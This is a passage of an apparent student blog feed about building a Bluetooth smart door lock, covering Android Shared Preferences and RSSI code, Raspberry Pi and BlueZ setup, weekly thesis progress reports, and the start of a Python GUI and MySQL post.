/&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;//debug : to show all data stored in Shared Preferences&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;/*Map&amp;lt;string&amp;gt; keys = setting.getAll();&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;for(Map.Entry&amp;lt;string&amp;gt; entry : keys.entrySet()){&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    Log.d(“map values”,entry.getKey() + “: “ + entry.getValue().toString());            &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;}*/&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;//mode toggling method for ToggleButton. Save the adjusted current mode to Shared Preferences&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;public void ToggleMode(View view){&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    ToggleButton toggle = (ToggleButton) findViewById(R.id.toggleMode);&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    boolean on = toggle.isChecked();&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;       &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    if (on){&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        currentmode = “convenient”;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        Editor editor = setting.edit();&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        editor.putString(“savedmode”, currentmode);&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        editor.commit();&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        Toast.makeText(getApplicationContext(),”Mode changed to Convenient”, Toast.LENGTH_SHORT).show();&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    } else {&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        currentmode = “secured”;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        Editor editor = setting.edit();&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        editor.putString(“savedmode”, currentmode);&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        editor.commit();&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;        Toast.makeText(getApplicationContext(),”Mode changed to Secured”, Toast.LENGTH_SHORT).show();&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    }&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;};&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Raspberry Pi -  A Brief Introduction and Basic Setup</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Raspberry-Pi-A-Brief-Introduction-and-Basic-Setup/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Raspberry-Pi-A-Brief-Introduction-and-Basic-Setup</id>
   <content type="html">&lt;p&gt;Introduction&lt;br /&gt;&lt;br /&gt;Raspberry Pi is the small size computer roughly sized as credit card that runs on Linux. The board is relatively very cheap which is $35. The RPi can be used to many things from using is as computer or to make it as small robot.  It can be plugged in USB peripherals (keyboards, mice, etc.), output video via  HDMI and DVI, or even composite out to an old analogue TV.&lt;br /&gt;&lt;br /&gt;&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-wcQNUeRQtVk/UfXDC8or6AI/AAAAAAAAACI/wB6JWTiZ0Yw/s1600/IMG_20130705_221751.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;                        &lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://3.bp.blogspot.com/-wcQNUeRQtVk/UfXDC8or6AI/AAAAAAAAACI/wB6JWTiZ0Yw/s320/IMG_20130705_221751.jpg&quot; width=&quot;241&quot; /&gt;&lt;/a&gt; &amp;lt;/div&amp;gt;&lt;br /&gt;Basic Setup&lt;br /&gt;&lt;br /&gt;Setting up the RPi is very easy and it will only take in less than 10 minutes to setup and run.&lt;br /&gt;&lt;br /&gt;Things needed before start:&lt;br /&gt;&lt;br /&gt;- Raspberry Pi &lt;br /&gt;- SD Card(at least 4 gig)&lt;br /&gt;- HDMI supported monitor&lt;br /&gt;- Mouse&lt;br /&gt;- Keyboard&lt;br /&gt;- Power Supply (5V - 1A)&lt;br /&gt;- SD Formatter&lt;br /&gt;- RPi recovery system(NOOBS_v1_2_1.zip)&lt;br /&gt;&lt;br /&gt;Setup - RPi:&lt;br /&gt;&lt;br /&gt;1. Insert an SD card that is 4GB or greater in size into your computer.&lt;br /&gt;2. Format the SD card so that the Pi can read it by following the steps below.&lt;br /&gt;&lt;br /&gt;3. Install the Formatting Tool on your machine.&lt;br /&gt;4. Run the Formatting Tool.&lt;br /&gt;&lt;br /&gt;5. Set “FORMAT SIZE ADJUSTMENT” option to “ON” in the “Options” menu.&lt;br /&gt;&lt;br /&gt;6. Check that the SD card you inserted matches the one selected by the Tool.&lt;br /&gt;&lt;br /&gt;7. Click the “Format” button.&lt;br /&gt;&lt;br /&gt;8. Download the NOOBS_v1_2_1.zip from (downloads.raspberrypi.org/recovery).&lt;br /&gt;&lt;br /&gt;9. Unzip the RPi recovery system or NOOBS_v1_2_1.zip.&lt;br /&gt;&lt;br /&gt;10. Copy the extracted files onto the SD card that you just formatted.&lt;br /&gt;&lt;br /&gt;11. Insert the SD card into your Pi.&lt;br /&gt;&lt;br /&gt;12. Connect all the connections which is mouse, keyboard and monitor.&lt;br /&gt;&lt;br /&gt;13. Finally connect the power supply to the RPi. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Setup - Raspbian&lt;br /&gt;&lt;br /&gt;Once boot up for the first time, a menu will prompted(see the image below) you to  install one of several operating systems into the free space on the  card. The choice means you can boot the Pi with a regular operating  system like Raspbian, or with a media-centre specific OS like RaspBMC.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://4.bp.blogspot.com/-gPQsphfYBs4/UfXDBV6TV1I/AAAAAAAAAB8/2qp50tLRZUU/s1600/mainwindow.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://4.bp.blogspot.com/-gPQsphfYBs4/UfXDBV6TV1I/AAAAAAAAAB8/2qp50tLRZUU/s320/mainwindow.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;Once Boot up, we now have most low cost computer running.&lt;br /&gt;&lt;br /&gt;&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-59gA1U1lPmg/UfXDCgEzlAI/AAAAAAAAACE/yBfQ_LyAiU0/s1600/IMAG0938.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;225&quot; src=&quot;http://2.bp.blogspot.com/-59gA1U1lPmg/UfXDCgEzlAI/AAAAAAAAACE/yBfQ_LyAiU0/s400/IMAG0938.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Raf Progress 27 Jan-2 Feb 2014</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Raf-Progress-27-Jan-2-Feb-2014/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Raf-Progress-27-Jan-2-Feb-2014</id>
   <content type="html">&lt;p&gt;Date: 27 Jan-2 Feb 2014&lt;br /&gt;&lt;br /&gt;I went back to Terengganu for a week with the hope to do some writing and home cleanups after the recent flood. However, a bad fever caught me and I spent literally 5 days resting. The family outing during the following weekend topped it up and I was officially having a week work-free :D&lt;br /&gt;&lt;br /&gt;Nevertheless, I did went through some more related papers to help me to get going with the thesis.&lt;br /&gt;&lt;br /&gt;Objectives (what did you planned to do?):&lt;br /&gt;1. Writing/Revising for the 2nd draft of Literature Review.&lt;br /&gt;2. Begin writing the introduction part of the thesis&lt;br /&gt;3. App should be able to send photo to another phone via the same App&lt;br /&gt;4. Write Steganography encoding using libpng (http://www.codeproject.com/Articles/581298/PNG-Image-Steganography-with-libpng).&lt;br /&gt;&lt;br /&gt;Efforts done (what did you do?):&lt;br /&gt;1. Fever. Not much to consider them efforts at all.&lt;br /&gt;&lt;br /&gt;Objective for next week:&lt;br /&gt;Continue from last week.&lt;br /&gt;1. Writing/Revising for the 2nd draft of Literature Review.&lt;br /&gt;2. Begin writing the introduction part of the thesis&lt;br /&gt;3. App should be able to send photo to another phone via the same App&lt;br /&gt;4. Write Steganography encoding using libpng (http://www.codeproject.com/Articles/581298/PNG-Image-Steganography-with-libpng)&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Raf Progress 20-26th Jan 2014</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Raf-Progress-20-26th-Jan-2014/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Raf-Progress-20-26th-Jan-2014</id>
   <content type="html">&lt;p&gt;&lt;b&gt;Objectives (what did you planned to do?):&lt;/b&gt;&lt;br /&gt;1. Collect research papers to revise Literature Review part&lt;br /&gt;2. Adding function to App : able to select photo from the gallery and send photo to another phone via the same App&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Efforts done (what did you do?):&lt;/b&gt;&lt;br /&gt;1. Some papers were collected and printed. Started reading through. No writing/revising done yet&lt;br /&gt;2. App is able to prompt User to select photo. Sending function is not yet implemented.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Outcomes (success, errors, discussion, screenshots…etc)&lt;/b&gt;&lt;br /&gt;1. Requires more related research papers.&lt;br /&gt;2. App is able to prompt User to select photo but the sending part hasn’t been implemented. Link to apk : &lt;b&gt;&lt;a href=&quot;https://www.dropbox.com/s/73d88s1mz0kbhdu/Smart%2026%20Jan%202014%20.apk&quot;&gt;Link&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://2.bp.blogspot.com/-_Q2KqR8hrGw/UuWhiAgFRXI/AAAAAAAAA1s/OyeMXrEuPic/s1600/Adding+share+photo+function.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/-_Q2KqR8hrGw/UuWhiAgFRXI/AAAAAAAAA1s/OyeMXrEuPic/s1600/Adding+share+photo+function.png&quot; height=&quot;370&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;b&gt;Objective for next week:&lt;/b&gt;&lt;br /&gt;1. Writing/Revising for the 2nd draft of Literature Review.&lt;br /&gt;2. Begin writing the introduction part of the thesis&lt;br /&gt;3. App should be able to send photo to another phone via the same App&lt;br /&gt;4. Write Steganography encoding using libpng (&lt;a href=&quot;http://www.codeproject.com/Articles/581298/PNG-Image-Steganography-with-libpng&quot;&gt;http://www.codeproject.com/Articles/581298/PNG-Image-Steganography-with-libpng&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Raf Progress 11-17 Feb 2014</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Raf-Progress-11-17-Feb-2014/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Raf-Progress-11-17-Feb-2014</id>
   <content type="html">&lt;p&gt;Date: 11 - 17 Feb 2014&lt;br /&gt;&lt;br /&gt;Objectives (what did you planned to do?):&lt;br /&gt;1. Writing/Revising for the 2nd draft of Literature Review.&lt;br /&gt;2. Begin writing the introduction part of the thesis&lt;br /&gt;3. App should be able to send photo to another phone via the same App&lt;br /&gt;4. Write Steganography embedding using libpng (http://www.codeproject.com/Articles/581298/PNG-Image-Steganography-with-libpng).&lt;br /&gt;&lt;br /&gt;Efforts done (what did you do?):&lt;br /&gt;1. Finished the 1st draft of Chapter 1 and Chapter 2 of the thesis&lt;br /&gt;2. App is able to send photo to another phone via the App&lt;br /&gt;&lt;br /&gt;Objective for next week:&lt;br /&gt;1. Revise Chapter 1 and Chapter 2&lt;br /&gt;2. Begin writing the Chapter 3:Design and Implementation&lt;br /&gt;3. App function : sending a photo to another phone via the second method (direct stream)&lt;br /&gt;4. Write Steganography embedding using libpng (http://www.codeproject.com/Articles/581298/PNG-Image-Steganography-with-libpng)&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Querying RSSI by the App</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Querying-RSSI-by-the-App/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Querying-RSSI-by-the-App</id>
   <content type="html">&lt;p&gt;I have mentioned before that we have 2 ways to check for signal strength (which then approximates distance) of the bluetooth communication in our system, particularly between the App and the Rpi.&lt;br /&gt;&lt;br /&gt;    1. Query done by Rpi &lt;br /&gt;    2. Query done by Android App&lt;br /&gt;&lt;br /&gt;I have not yet checked on how I can get the first step done programmatic-ally, for the purpose of integrating it into our Server program. This example showed how it is done via terminal : &lt;a href=&quot;http://www.raspberrypi.org/phpBB3/viewtopic.php?t=47466&amp;amp;p=372150&quot;&gt;forum link&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;However, I have a written a simple app for the 2nd method. This App catches the RSSI values of every bluetooth devices it found during ‘discovery’ by &lt;i&gt;requesting&lt;/i&gt; an extra field in ACTION_FOUND intents of the discovery : EXTRA_RSSI. This value (of data type Short) contains the RSSI value of the remote devices found. &lt;br /&gt;&lt;br /&gt;Here is the snippet on how it is done:&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;// Create a BroadcastReceiver for ACTION_FOUND&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;BroadcastReceiver receiver;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;receiver = new BroadcastReceiver() {&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    public void onReceive(Context context, Intent intent) {&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;String action = intent.getAction();&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;        &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;// When discovery finds a device&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if (BluetoothDevice.ACTION_FOUND.equals(action)) {&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;        &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;// Get the BluetoothDevice object from the Intent&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;short rssi = intent.getShortExtra(BluetoothDevice.EXTRA_RSSI,Short.MIN_VALUE);&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;            &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;// Add the name and address to an array adapter to show in a ListView&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; mArrayAdapter.add(device.getName() + “\n” + device.getAddress() + “\n” + rssi + “ db” + “\n” );&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;           &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;//add notify discovery is done&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Toast.makeText(getApplicationContext(),”Bluetooth devices discovery done…”, Toast.LENGTH_SHORT).show();&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;    &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;    &lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt; }&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;};&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In short, we can get the signal strength of any discovered bluetooth devices, without even having to connect to those devices. Hence, ‘signal strength’ or more correctly, ‘distance between the user and the door’ verification can be done first before ‘key’ verification. Refer &lt;a href=&quot;http://smarteac.blogspot.com/2013/10/unlocking-sending-keys-and-verification.html&quot;&gt;HERE&lt;/a&gt; to see the methods we proposed earlier.&lt;br /&gt;&lt;br /&gt;Here is the updated version of the App (remove the RSSI values display through toast, put them into the list view instead).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://3.bp.blogspot.com/-c6YGzMYMgJ4/UmYrlypOs8I/AAAAAAAAAy8/cLXFgO6KinI/s1600/Screenshot-1382427596241.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;http://3.bp.blogspot.com/-c6YGzMYMgJ4/UmYrlypOs8I/AAAAAAAAAy8/cLXFgO6KinI/s400/Screenshot-1382427596241.png&quot; width=&quot;266&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&amp;gt;Downloads:&amp;lt;/div&amp;gt;&lt;a href=&quot;https://www.dropbox.com/s/pj4q1xzwhiht56s/DemoRSSI.apk&quot;&gt;Apk&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://www.dropbox.com/s/gcyqiahngydn9ig/MainActivity.java&quot;&gt;MainActivity (main code)&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://www.dropbox.com/s/3avxooquvk6ezn5/DemoRSSI.rar&quot;&gt;Project files (all)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Qr code testing</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Qr-code-testing/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Qr-code-testing</id>
   <content type="html">&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-_yE0dEuEVoI/Uthvkj8DKYI/AAAAAAAAA0Y/miSHT2G92Bg/s1600/qrcode.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-_yE0dEuEVoI/Uthvkj8DKYI/AAAAAAAAA0Y/miSHT2G92Bg/s1600/qrcode.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Python server is now working</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Python-server-is-now-working/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Python-server-is-now-working</id>
   <content type="html">&lt;p&gt;&lt;a href=&quot;http://smarteac.blogspot.com/2013/07/installing-python-26-and-pybluez-on-rpi.html&quot;&gt;Earlier&lt;/a&gt;, we have a problem in sending the data from the Android App to the Python server on Rpi. I wrote:&lt;br /&gt;&lt;br /&gt;“On Rpi, the App shown that connection has been made with the server and data has been successfully sent, but none of those are indicated on the server that I ran”&lt;br /&gt;&lt;span style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;text-align: center;&quot;&gt;Well, I was half correct and half wrong.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Based on this &lt;a href=&quot;http://stackoverflow.com/questions/17216264/bluetooth-connection-between-android-and-linux-rpi-lost-on-first-write-action&quot;&gt;thread&lt;/a&gt;, the problem lies in the default configuration of Bluez where pnat plugin (a plugin file written in c for Nokia’s Maemo platform) is enabled. The plugin effectively breaks any application that tries to run Rfcomm server. Running the App through Eclipse shows “connection reset by peer” error even though initially connection was made. So, the connection was initially made, but it is then terminated by the plugin right at the point where data is to be send.&lt;br /&gt;&lt;br /&gt;To fix this, just disable pnat plugin. &lt;br /&gt;1. Navigate to  “&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;/etc/bluetooth/main.conf&lt;/span&gt;” &lt;br /&gt;2. Edit the file with root “&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;sudo nano main.conf&lt;/span&gt;“&lt;br /&gt;3. Append the following “&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;DisablePlugins = pnat&lt;/span&gt;” in the &lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;main.conf&lt;/span&gt; file. &lt;br /&gt;4. Save and Exit - Press ‘CTRL-X’ and ‘Enter’&lt;br /&gt;5. Restart bluetooth by issuing “&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;sudo invoke-rc.d bluetooth restart&lt;/span&gt;“&lt;br /&gt;&lt;br /&gt;&amp;lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&amp;gt;&lt;a href=&quot;http://1.bp.blogspot.com/-PBm53nvm7bA/UfrC8nitJII/AAAAAAAAAlk/JLKXg3FdQAk/s1600/wdwdwdw.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;300&quot; src=&quot;http://1.bp.blogspot.com/-PBm53nvm7bA/UfrC8nitJII/AAAAAAAAAlk/JLKXg3FdQAk/s400/wdwdwdw.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&amp;lt;/div&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Python - GUI and MySQL</title>
   <link href="https://www.instagram.com/zeroquitgenes//2014/09/05/Python-GUI-and-MySQL/"/>
   <updated>2014-09-05T11:21:48+00:00</updated>
   <id>https://www.instagram.com/zeroquitgenes//2014/09/05/Python-GUI-and-MySQL</id>
   <content type="html">&lt;div style=&quot;text-align: left;&quot;&gt;Since we are going to deploy the system to consumer level, the interface of our application should be intuitive, more or less, looking the same as with other typical desktop applications. And to some extent, it should resemble our Android App in the design. &lt;br /&gt;&lt;br /&gt;We have decided to use MySQL for the database of our application. For web application, I am most certain that PHP would be the best to use. However, we would want a standalone desktop application for our system. The desktop application should be able to execute these 3 main general functions:&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;   1. Communicate with our MySQL database (of course!)&lt;br /&gt;   2. Communicate with Rpi via bluetooth&lt;br /&gt;   3. Communicate with Android App via bluetooth. &lt;br /&gt;&lt;br /&gt;Since we’re using Python on Rpi itself, perhaps it’s good for me to explore on how we can use Python in this area as well, eliminating the needs for PHP. We basically know that Python bluetooth communication with Rpi and Android App is implementable. So, what I need to know for now are:&lt;br /&gt;&lt;br /&gt;How Python can be used to write a desktop application? &lt;br /&gt;What GUI tools do I need? &lt;br /&gt;Can it be installed in main PC platforms (Windows, Linux, Mac)?&lt;br /&gt;How Python can be used along with MySQL database?&lt;br /&gt;&lt;br /&gt;&amp;lt;div style=&quot;text-align: center;&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;div style=&quot;text-align: left;&quot;&amp;gt;A quick research led me to PyQt, a Python way of using cross-platform GUI toolkit, QT. From the 